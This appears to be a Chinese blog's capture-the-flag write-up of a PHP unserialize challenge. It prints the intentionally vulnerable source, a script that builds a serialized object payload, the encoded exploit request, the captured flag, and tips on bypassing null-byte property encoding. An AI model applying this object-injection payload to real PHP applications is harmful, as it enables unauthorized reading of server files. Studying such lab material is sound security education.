BoyChai's Blog - PHP
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[代码审计]网鼎杯_2020_青龙组_AreUSerialz
https://blog.boychai.xyz/index.php/archives/67/
2023-10-16T02:16:00+00:00
题目buuoj-网鼎杯_2020_青龙组_AreUSerialz源码<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}分析一看这个题目就是一道反序列的题目，上面定义了一个FileHandler类，之后定义了一个is_valid方法，这个方法的目的是过滤字符串，ord函数是转换ASCII码，32-125区间基本上就是所有字母数字和符号了，之后最后面这个是get获取一个str的值，之后检测是否是字符串，之后把字符串进行序列化。接下来详细看看FileHandler类：
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}分析了一下代码，output、read、write方法都需要通过process方法来触发，output代码如下 private function output($s) {
echo "[Result]: <br>";
echo $s;
}很简单没啥好说的，就是输出传入的内容。read方法代码如下， private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}是去调用file_get_contents方法来读取filename变量里的文件，之后返回读取的内容。再看看write方法 private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}显示content不能大于100的长度，之后将content的内容写入filename，写入之后输出Successful!否则都是Failed!，再看看process方法 public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}如果op=1则会进行写内容，如果等于2回去执行read()方法之后输出读取的内容，否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用 protected $op;
protected $filename;
protected $content;op是用来定义操作模式的，1是写2是读，filename是文件名称文件位置，content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数，销毁的时候会触发。构造函数在这里没用主要看这个销毁函数，代码如下 function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}也没啥东西，这里有个误导，就是里面的那个判断，他这个判断是三个等号的，会先判断类型，他这里判断的是字符串的2，之后content传入什么都无所谓了，剩下的就会交给process处理。解题分析完代码思路就清晰了，我们需要反序列化出一个FileHandler，内容op需要等于2，filename需要等于flag.php即可拿到falg。解题方式如下<?php
class FileHandler
{
public $op = 2;
public $filename = "flag.php";
public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}之后请求http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}网页显示返回为空直接查看源代码拿到flag?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};补充为什么不使用protected来序列化？PHP7.1以上版本对属性类型不敏感，public属性序列化不会出现不可见字符，可以用public属性来绕过private属性序列化的时候会引入两个\x00，注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到，甚至导致截断，但是url编码后就可以看得很清楚了。同理，protected属性会引入\x00*\x00。此时，为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。 作者：很菜的wl https://www.bilibili.com/read/cv18129820/ 出处：bilibili